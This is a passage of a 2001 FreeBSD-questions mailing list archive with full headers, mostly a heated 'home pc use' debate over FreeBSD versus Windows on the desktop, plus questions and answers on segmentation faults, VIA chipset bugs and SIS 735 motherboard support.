"unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 6:28:26 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id F1BB637B416 for ; Tue, 20 Nov 2001 06:28:23 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKESL611511; Tue, 20 Nov 2001 15:28:21 +0100 (CET) Message-ID: <002401c171cf$9b344eb0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: Cc: References: <007f01c171c1$4be01cd0$0a00000a@atkielski.com> <2696.10.100.98.21.1006260649.squirrel@10.100.3.5> <009001c171c4$e26a71c0$0a00000a@atkielski.com> <3BFA5C37.35052219@globalnet.co.uk> Subject: Re: home pc use Date: Tue, 20 Nov 2001 15:28:15 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG John writes: > I see a fair amount of unecessary duplication in > your list. For example, why would you have Photoshop > as well as Paint Shop Pro installed? I assume that you don't do much graphics work. I have Notepad and Word installed, too. > Why have both Postscript and TT fonts? Many fonts are available in only one of the two formats. > Professional graphics people would use Postscript > every time. They can use either format, although many of them are superstitious about TrueType fonts. > You have a fabulous collection of browsers. I > just can't imagine using that many personally. When you build Web sites for money, you have to test them, and using more than one browser to do so is only prudent. If you examine my Web site, you'll see that it is just as easy to navigate in Lynx as it is in Internet Explorer. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 6:28:55 2001 Delivered-To: freebsd-questions@freebsd.org Received: from lv.raad.tartu.ee (lv.raad.tartu.ee [194.126.106.110]) by hub.freebsd.org (Postfix) with ESMTP id E51C737B405 for ; Tue, 20 Nov 2001 06:28:48 -0800 (PST) Received: Message by Barricade lv.raad.tartu.ee with ESMTP id fAKESdD28470; Tue, 20 Nov 2001 16:28:39 +0200 Message-Id: <200111201428.fAKESdD28470@lv.raad.tartu.ee> Received: from SpoolDir by INFO (Mercury 1.48); 20 Nov 01 16:27:49 +0200 From: "Toomas Aas" Organization: Tartu City Government To: "Anthony Atkielski" , Date: Tue, 20 Nov 2001 16:27:39 +0200 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: home pc use In-reply-to: <00cd01c171ac$ca0fa0e0$0a00000a@atkielski.com> X-info: Headers changed by Barricade Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi Anthony! On 20 Nov 01 at 11:19 you wrote: > Robert writes: > > > Perhaps this was due to your buggy VIA > > Southbridge, mentioned in another > > thread, IIRC? > > That same "buggy" hardware runs Windows flawlessly. VIA has released drivers for Windows that work around the hardware bugs. That is why this buggy (sans quotes) hardware runs Windows flawlessly. As they (VIA) don't want to release information of what is actually wrong with the 686B southbridge, the people who make other operating systems can't do much to write similar workarounds for these systems. My information is some weeks old, maybe things have changed in the meantime. -- Toomas Aas | toomas.aas@raad.tartu.ee | http://www.raad.tartu.ee/~toomas/ * Atheism is a non-prophet organization. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 6:29:56 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mx2.port.ru (mx2.port.ru [194.67.57.12]) by hub.freebsd.org (Postfix) with ESMTP id 6180D37B417 for ; Tue, 20 Nov 2001 06:29:52 -0800 (PST) Received: from f9.int ([10.0.0.77] helo=f9.mail.ru) by mx2.port.ru with esmtp (Exim 3.14 #1) id 166Btz-000Ony-00 for freebsd-questions@freebsd.org; Tue, 20 Nov 2001 17:29:31 +0300 Received: from mail by f9.mail.ru with local (Exim 3.14 #1) id 166Btv-000Nxo-00 for freebsd-questions@FreeBSD.ORG; Tue, 20 Nov 2001 17:29:27 +0300 Received: from [212.192.241.98] by win.mail.ru with HTTP; Tue, 20 Nov 2001 17:29:27 +0300 From: "Pavel Chizhov" To: freebsd-questions@FreeBSD.ORG Subject: Segmentation faults Mime-Version: 1.0 X-Mailer: mPOP Web-Mail 2.19 X-Originating-IP: [212.192.241.98] Date: Tue, 20 Nov 2001 17:29:27 +0300 Reply-To: "Pavel Chizhov" Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 8bit Message-Id: Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello! I've obtained a problem trying to execute some large programs (e.g. GAMESS, quantum chemistry calculation program) after compiling. Every process have been kicked out after beginnig of execution because of segmentation fault. I've obtained it as for C modules (borh cc and gcc compilers were used) as for Fortran modules (both g77 and f2c/gcc compilations were tryed). My RAM is 1152Mb and swap is 1000Mb. Should I increase the kernel address space (now NKPDE is 254 - I have an SMP kernel) to solve this problem, or, maybe, linked sources while compiling with some libraries? With best wishes P.Chizhov To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 6:34: 7 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id B7B2337B41B for ; Tue, 20 Nov 2001 06:33:52 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKEXmp12226; Tue, 20 Nov 2001 15:33:48 +0100 (CET) Message-ID: <002f01c171d0$5e05cfe0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Kutulu" Cc: References: <006901c171b1$f549f760$1401a8c0@tedm.placo.com> <012801c171b6$845a9500$0a00000a@atkielski.com> <013f01c171c7$6ffcbeb0$88682518@longhill1.md.home.com> Subject: Re: home pc use Date: Tue, 20 Nov 2001 15:33:40 +0100 MIME-Version: 1.0 Content-Type: multipart/signed; micalg=SHA1; boundary="----=_NextPart_000_0029_01C171D8.BB8D7890"; protocol="application/x-pkcs7-signature" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0029_01C171D8.BB8D7890 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Kutulu writes: > XFree86 actually runs on Windows now (via Cygwin). Cygwin sounds like another layer, and one that modifies system files at that. On that path lies danger. > * There is only one Win32 X server, which uses > DirectX. I run NT 4.0, which does not support DirectX (at least not any recent version of it). > Therefore, the video hardware support is exactly > as good as the support you get from Windows. DirectX is designed to help applications bypass the OS, which is one reason why it was long in coming on NT (it represents a lot of security problems). Unfortunately, the DirectX requirement would disqualify it in my case, because I doubt that my machine would have the necessary support. Windows 2000 probably has it, but I'm not going to change operating systems just for that. I don't really see why an X Server needs DirectX, anyway. DirectX is for games. > And I still haven't figured out how to get it > to use XDMCP the way XWin32 does. What is XWin32? Is it any good? What does it cost? All I've been able to find is ServerX and eXceed, both of which are dramatically overpriced (perhaps they are subsidiaries of Quark). MicroImage makes a free server, but it faults instantly as soon as I try to open a window. > * It's kinda kudgy. You basically install the > entire Cygwin environment, which gives you a UNIX-alike > runtime environment in Win32, then install > XFree86 on top of that. That sounds very, very risky on a production machine. > Definitely worth looking into. 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[193.251.59.14]) by atkielski.com (8.11.6) id fAKEZep12502; Tue, 20 Nov 2001 15:35:40 +0100 (CET) Message-ID: <003401c171d0$a11838e0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Roel Kroes" , "Deman" Cc: References: <007f01c171c1$4be01cd0$0a00000a@atkielski.com> <2696.10.100.98.21.1006260649.squirrel@10.100.3.5> <009001c171c4$e26a71c0$0a00000a@atkielski.com> <001901c171c9$b1372170$9600000a@roel> Subject: Re: home pc use Date: Tue, 20 Nov 2001 15:35:33 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Exactly. A production machine is _very_ different from a fun-and-games or hobby machine. Just as the thought of replacing FreeBSD with NT to run my production Web site chills the blood in my veins, so the thought of trying to get FreeBSD to replace my Windows desktop seems fraught with peril, and it serves no useful purpose. Every OS has its niche. And the FreeBSD niche is not on the desktop ... that's Windowsland. ----- Original Message ----- From: "Roel Kroes" To: "Anthony Atkielski" ; "Deman" Cc: Sent: Tuesday, November 20, 2001 14:45 Subject: Re: home pc use > ----- Original Message ----- > From: "Anthony Atkielski" > To: "Deman" > Cc: > Sent: Tuesday, November 20, 2001 2:11 PM > Subject: Re: home pc use > > That list looks to me like a perfectly normal list for a self employed > software / web developer / casual gamer (for example). I'm using at least > that many programs too. > > Remember that you cannot always choose between Photoshop or another shitty > program. Sometimes customers deliver graphics, logo's made with some obscure > program and expect you to handle it well. > > Roel. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 6:38:34 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 452BE37B417 for ; Tue, 20 Nov 2001 06:38:14 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKEcA512856; Tue, 20 Nov 2001 15:38:11 +0100 (CET) Message-ID: <003d01c171d0$fabde610$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Kutulu" , "setantae" Cc: References: <3BF9B12B.3D521A4D@nycap.rr.com> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <00cd01c171ac$ca0fa0e0$0a00000a@atkielski.com> <20011120102625.GB75402@rhadamanth> <00d201c171af$61dccb80$0a00000a@atkielski.com> <20011120110535.GB75918@rhadamanth> <013901c171b7$407ea500$0a00000a@atkielski.com> <20011120114643.GB76431@rhadamanth> <018f01c171c8$c50d8500$88682518@longhill1.md.home.com> Subject: Re: home pc use Date: Tue, 20 Nov 2001 15:38:04 +0100 MIME-Version: 1.0 Content-Type: multipart/signed; micalg=SHA1; boundary="----=_NextPart_000_0037_01C171D9.5847D8B0"; protocol="application/x-pkcs7-signature" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0037_01C171D9.5847D8B0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Kutulu writes: > The MS Windows GUI system is not as neatly partitioned > as the X Window system. Most of it is lumped into the > OS itself. True of the consumer versions of Windows (those without an NT base). NT separates the GUI quite well, although that line has blurred as Microsoft has kludged the NT environment more and more to accommodate games and fancy graphics instead of solid enterprise computing--NT 4.0 separates the two significantly less than NT 3.x, for example, and DirectX is frightening. ------=_NextPart_000_0037_01C171D9.5847D8B0 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIUQTCCAj0w ggGmAhEAzbp/VvDf5LxU/iKss3KqVTANBgkqhkiG9w0BAQIFADBfMQswCQYDVQQGEwJVUzEXMBUG A1UEChMOVmVyaVNpZ24sIEluYy4xNzA1BgNVBAsTLkNsYXNzIDEgUHVibGljIFByaW1hcnkgQ2Vy dGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNOTYwMTI5MDAwMDAwWhcNMjgwODAxMjM1OTU5WjBfMQsw CQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xNzA1BgNVBAsTLkNsYXNzIDEgUHVi bGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwgZ8wDQYJKoZIhvcNAQEBBQADgY0A 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Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id C33CC37B4CF for ; Tue, 20 Nov 2001 06:38:56 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKEcs312932; Tue, 20 Nov 2001 15:38:54 +0100 (CET) Message-ID: <004201c171d1$14bbf390$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "setantae" Cc: References: <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120023948.A92409@xor.obsecurity.org> <00df01c171b0$2a938be0$0a00000a@atkielski.com> <20011120024747.A92560@xor.obsecurity.org> <012501c171b5$dcd9b900$0a00000a@atkielski.com> <20011120050329.A971@xor.obsecurity.org> <00b101c171cc$d8ed1e10$0a00000a@atkielski.com> <20011120141109.GA77819@rhadamanth> Subject: Re: home pc use Date: Tue, 20 Nov 2001 15:38:47 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Ceri writes: > Window managers don't applications at all. Windows is an integrated OS/window manager environment. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 6:40:17 2001 Delivered-To: freebsd-questions@freebsd.org Received: from dire.bris.ac.uk (dire.bris.ac.uk [137.222.10.60]) by hub.freebsd.org (Postfix) with ESMTP id 2BE1837B416 for ; Tue, 20 Nov 2001 06:40:15 -0800 (PST) Received: from mail.ilrt.bris.ac.uk by dire.bris.ac.uk with SMTP-PRIV with ESMTP; Tue, 20 Nov 2001 14:37:51 +0000 Received: from cmjg (helo=localhost) by mail.ilrt.bris.ac.uk with local-esmtp (Exim 3.16 #1) id 166C17-00052l-00; Tue, 20 Nov 2001 14:36:53 +0000 Date: Tue, 20 Nov 2001 14:36:53 +0000 (GMT) From: Jan Grant X-X-Sender: To: Anthony Atkielski Cc: setantae , questions Subject: Re: home pc use In-Reply-To: <001f01c171cf$430e8ac0$0a00000a@atkielski.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 20 Nov 2001, Anthony Atkielski wrote: > That's what I'm doing, although I've discovered that this list, at > least, is nearly useless for that purpose. One need only read your > own post, and others like it, and distill the real, useful > information they contain, if any, to see how poorly this list > fulfills its nominal role. ... so*, where was the FreeBSD question in your post? You do seem to be able to generate a lot of heated feelings, but that's by making sweeping statements on a subject you're no expert in, and selectively ignoring potentially helpful comments on the basis that "new hardware never breaks". Please, god, take this to -chat.** jan * channelling Abigail for the second time in a month, I must be getting crotchety ** 'cause I'm not subscribed to that :-) -- jan grant, ILRT, University of Bristol. http://www.ilrt.bris.ac.uk/ Tel +44(0)117 9287088 Fax +44 (0)117 9287112 RFC822 jan.grant@bris.ac.uk "Sufficiently large"="infinite" for sufficiently large values of "sufficiently" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 6:44:19 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailrelay2.inwind.it (mailrelay2.inwind.it [212.141.54.102]) by hub.freebsd.org (Postfix) with ESMTP id B119A37B417 for ; Tue, 20 Nov 2001 06:43:52 -0800 (PST) Received: from [62.98.213.157] (62.98.213.157) by mailrelay2.inwind.it (5.5.029) id 3BDECBB0007D19AB for freebsd-questions@FreeBSD.org; Tue, 20 Nov 2001 15:43:35 +0100 Received: (qmail 3815 invoked by uid 1001); 20 Nov 2001 14:40:37 -0000 Date: Tue, 20 Nov 2001 15:40:37 +0100 From: Francesco Casadei To: Herbert Cc: freebsd-questions@FreeBSD.org Subject: Re: Elitegroup K7S5A - SIS 735 chipset Message-ID: <20011120154037.A3775@junior.kasby> Mail-Followup-To: Herbert , freebsd-questions@FreeBSD.org References: <20011119231456.A2200@TK212017121218.teleweb.at> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="VbJkn9YxBvnuCH5J" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011119231456.A2200@TK212017121218.teleweb.at>; from herbert@bugat.at on Mon, Nov 19, 2001 at 11:14:56PM +0100 X-Operating-System: FreeBSD 4.4-STABLE i386 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --VbJkn9YxBvnuCH5J Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Nov 19, 2001 at 11:14:56PM +0100, Herbert wrote: > Hei! >=20 > Is the K7S5A mainboard and the SIS 735 chipset supported by FreeBSD > 4.4-STABLE? What about the onboard ide controller? Can I run my hard > disks in udma66 or udma100 mode? > Any known problems with this mainboard and FreeBSD? >=20 > Your comments are welcome! Tnx! >=20 > Regards, > Herbert >=20 > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message >=20 > end of the original message I had no serious problem with it. It runs with a Promise FastTrak100 TX2 wi= th 2 IBM 60GXP 40Gb at UDMA100 and one IBM 60GXP 40Gb at UDMA33 connected to t= he onboard primary IDE. The onboard controller is a: atapci0: port 0xff00-0xff0f at device 2.5 on pc= i0 ata0: at 0x1f0 irq 14 on atapci0 ata1: at 0x170 irq 15 on atapci0 and, as stated in ata(4) manpage: The currently supported controllers with their maximum speed include: [...] SiS 5591 Ultra DMA 33 (UDMA2), 33 MB/sec The hd is connected to the IDE port with an UDMA100 80pin cable. Since this hd is only used for backup purposes, I don't bother getting higher bus spee= d. The Promise RAID controller runs just fine: atapci1: port 0xcc00-0xcc0f,0xd000-0xd003,0= xd400-0xd407,0xd800-0xd803,0xdc00-0xdc07 mem 0xcfff0000-0xcfffffff irq 11 a= t device 9.0 on pci0 [...] ar0: 39100MB [4984/255/63] subdisks: ad4: 39266MB [79780/16/63] at ata2-master tagged UDMA1= 00 ad6: 39266MB [79780/16/63] at ata3-master tagged UDMA1= 00 I set the BIOS option 'Allocate IRQ to PCI VGA' to Disabled since it would share the same IRQ as the Promise one. I'm currently trying to install a system monitor deamon, but I'm facing pro= blem with the onboard hardware monitor ITE8705. Which program support this senso= r? I tried healthd, but it didn't work. Finally, if you buy this motherboard, pay attention to the ATX power supply. I couldn't get 'shutdown -p now' to work, even if APM is compiled into the kernel, apm -s returns 1 and zzz put the system to sleep (i.e. the software is properly configured). Conclusion: this motherboard is cheap and stable and, more important, does not suffer the data corruption problem of the VIA KTxxx chipsets. I like it. Francesco Casadei --=20 You can download my public key from http://digilander.iol.it/fcasadei/ or retrieve it from a keyserver (pgpkeys.mit.edu, wwwkeys.pgp.net, ...) Key fingerprint is: 1671 9A23 ACB4 520A E7EE 00B0 7EC3 375F 164E B17B --VbJkn9YxBvnuCH5J Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7+mtlfsM3XxZOsXsRAoO2AKCCMkyOCUuZXLn95raL3w7fIYOBxACcC42k Nh4rBDkTH7dWZ+4ZaPCO2Pg= =Ub4V -----END PGP SIGNATURE----- --VbJkn9YxBvnuCH5J-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 6:48:26 2001 Delivered-To: freebsd-questions@freebsd.org Received: from gaia.host4u.net (gaia.host4u.net [209.150.128.48]) by hub.freebsd.org (Postfix) with ESMTP id 2788737B405 for ; Tue, 20 Nov 2001 06:48:22 -0800 (PST) Received: from andre ([216.71.43.117]) by gaia.host4u.net (8.8.5/8.8.5) with SMTP id IAA19966; Tue, 20 Nov 2001 08:31:30 -0600 Message-ID: <014601c171d2$22ada240$a50410ac@olmct.net> Reply-To: "Andre` Niel Cameron" From: "Andre` Niel Cameron" To: "Steve Brown" , References: <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120061026.A2767@prayforwind.com> Subject: Re: home pc use Date: Tue, 20 Nov 2001 09:46:22 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2462.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2462.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG ----- Original Message ----- From: "Steve Brown" To: Sent: Tuesday, November 20, 2001 6:10 AM Subject: Re: home pc use > I've not seen FreeBSD just crash without explanation ever in a year of use. > I have seen netscape whack X twice, just type startx again. I found KDE stable > but too big on this 300m PII, 4G partition amd now I use XFCE or TWM. > > It -is- less intuitive than Windows for sure; you'd better be interested > in learning something about O/S and computers or you may be disappointed. > > Actually I'm one of those who tried it 'cause I wanted a choice other > thane Microsoft (Had the 1'st incarnation of Win98 at the time and I > grew sick of fdisk/formatting on a weekly basis) > I just thought I would add that out of Linux(RH6.2 or 7.1) Windows (95/98/98SE/ME) and FreeBSD 4.x FreeBSD wins hands down everytime. I have never had FreeBSD crash. I run KDE, mostly cause it was the first GUI I ever used besides windows. KDE has never crashed on me, not once. I agree that KDE is a bit heavy on the system, but its worth it weight. If you have the system resources that is:) I found that KDE helped speed the learning process for *nix systems. Coming from the dos/windows enviroment it is a tad confusing learning all the directory structures and system files. I think one of my favorite things about BSD is that when I change things its often as simple as editing a text file. I found that enjoyable as often with bulky windows simple config tasks often required the dreaded reboot:). Jut my 2cents. Regards, Andre` C. Technical Support ---------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 7: 2:49 2001 Delivered-To: freebsd-questions@freebsd.org Received: from relay3-gui.server.ntli.net (relay3-gui.server.ntli.net [194.168.4.200]) by hub.freebsd.org (Postfix) with ESMTP id 6A36737B405 for ; Tue, 20 Nov 2001 07:02:43 -0800 (PST) Received: from pc3-card3-0-cust122.cdf.cable.ntl.com ([62.254.251.122] helo=rhadamanth.private.submonkey.net ident=exim) by relay3-gui.server.ntli.net with esmtp (Exim 3.03 #2) id 166CQ4-0003pl-00; Tue, 20 Nov 2001 15:02:41 +0000 Received: from setantae by rhadamanth.private.submonkey.net with local (Exim 3.33 #1) id 166CNd-000KOE-00; Tue, 20 Nov 2001 15:00:09 +0000 Date: Tue, 20 Nov 2001 15:00:09 +0000 From: setantae To: Anthony Atkielski Cc: questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011120150009.GA78153@rhadamanth> References: <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120023948.A92409@xor.obsecurity.org> <00df01c171b0$2a938be0$0a00000a@atkielski.com> <20011120105642.GA75918@rhadamanth> <012d01c171b6$96b5adc0$0a00000a@atkielski.com> <20011120114236.GA76431@rhadamanth> <005f01c171bf$c4d06b10$0a00000a@atkielski.com> <20011120131850.GA77414@rhadamanth> <001f01c171cf$430e8ac0$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <001f01c171cf$430e8ac0$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23.2i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Nov 20, 2001 at 03:25:37PM +0100, Anthony Atkielski wrote: > Ceri writes: > > > Who said anything about cloning Windows ? > > I did. A realistic GUI environment for me would have to be a virtual clone of > Windows, because virtually all the applications I use are Windows-only > applications. We are talking about window managers. Window managers don't run applications. It's perfectly possible to run applications such as Netscape without a window manager. You are in the wrong argument. > > According to the archives, you installed > > FreeBSD on 31st Oct, 2001. > > Yes, but I first worked on an operating system considerably prior to that date. This is not the someotheroperatingsystem-questions@FreeBSD.org list. > > You then proceeded to ask what portmap was. > > You were amazed that one needs a different kernel > > to enable SMP. You never heard of the rehash > > command in csh. > > Yes. So? This was intended to be taken along with the sentence below. > > These are not FreeBSD specific problems. > > They are characteristic of UNIX, or of some other OSes in isolation > (multiprocessor support). Yes, and you never heard of them, therefore your statement (which I include below, since you snipped it) make no sense. > It is thus very easy and valid to make "sweeping comments" > concerning UNIX, whether or not one happens to be one of the world's five > greatest experts on the system. > > All of these are things that one could expect > > from someone with only 3 weeks experience of an > > OS, but I honestly think that you would benefit > > from doing some background reading. > > Thank you for your suggestion. > > I was hoping that you might offer more information on FreeBSD, instead of your > armchair evaluation of my competence in IT. I evaluated your competence with FreeBSD. Nothing more. > If all responses to my questions > and comments were similar, I should indeed be restricted to reading elsewhere to > obtain the information I require. You weren't looking for information in this thread. You were stating that a gui environment on FreeBSD is no more stable than Windows, when you only have three weeks experience with one window manager on FreeBSD. This is what I am raising objection to, and all I have done is politely suggest that you get more experience of the environment on which you are commenting. I will, and have, answered actual questions from yourself on this list. Others will do the same. > > You come here and basically say ``All window > > managers suck.'' > > In a world dominated by Microsoft Windows, any window manager that does not > replicate Windows functionality effectively sucks, from the standpoint of the > average end user. This may not be a pleasant thought, but it is a hard reality. > I may not like everything about Windows, but I do accept that it is the standard > against which all other window systems must be measured. > > > I suggest a window manager that doesn't suck, > > and you say ``I've had my fill''. > > I heard great things about KDE, too, but it turned out to be a disappointment. > So did the default window manager. I can't devote my life to trying to make > UNIX look like Windows. Blackbox doesn't make FreeBSD look like Windows. Not even in the vaguest sense. I thought you were looking for a window manager that doesn't crash. If I'd realised you were looking for one that made FreeBSD look like Windows, I'd have suggested d:\winnt\setup.exe (or whatever). Even if it did look like Windows, it wouldn't run (most of) the applications you need. But then neither would a Mac. If you change operating system then you need to realise and accept that you'll be changing the way you do some things. > > If you seriously wish to use FreeBSD in a > > production environment, then it's even more > > important that you familiarise yourself with > > the system : how to upgrade it, how to install > > new software, how to get the sources, how it is > > different from other systems, how it is similar > > to other systems. You don't seem prepared to > > do this. > > That's what I'm doing, although I've discovered that this list, at least, is > nearly useless for that purpose. You shouldn't be using this list for that purpose. You should be using newbies@FreeBSD.org. > One need only read your own post, and others > like it, and distill the real, useful information they contain, if any, to see > how poorly this list fulfills its nominal role. This is an argument. They rarely contain useful information, in my opinion. If you want useful information, ask a question and don't make statements. > > There is a handbook that a good body of people > > have spent and so spend a considerable amount > > of manhours writing. I *know* that you haven't > > taken the time to read it. > > I've read parts of it that are relevant to what I need to know. It is not the > best-written document I've ever seen, but the alternatives seem to be worse. If you don't like the documentation, please feel free to join the Documentation Project - Write patches for the bits you don't like and send-pr them. Ceri -- keep a mild groove on To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 7: 6:12 2001 Delivered-To: freebsd-questions@freebsd.org Received: from gaia.host4u.net (gaia.host4u.net [209.150.128.48]) by hub.freebsd.org (Postfix) with ESMTP id 2A3E637B41F for ; Tue, 20 Nov 2001 07:06:00 -0800 (PST) Received: from andre ([216.71.43.117]) by gaia.host4u.net (8.8.5/8.8.5) with SMTP id IAA22216; Tue, 20 Nov 2001 08:48:02 -0600 Message-ID: <014e01c171d4$72316610$a50410ac@olmct.net> Reply-To: "Andre` Niel Cameron" From: 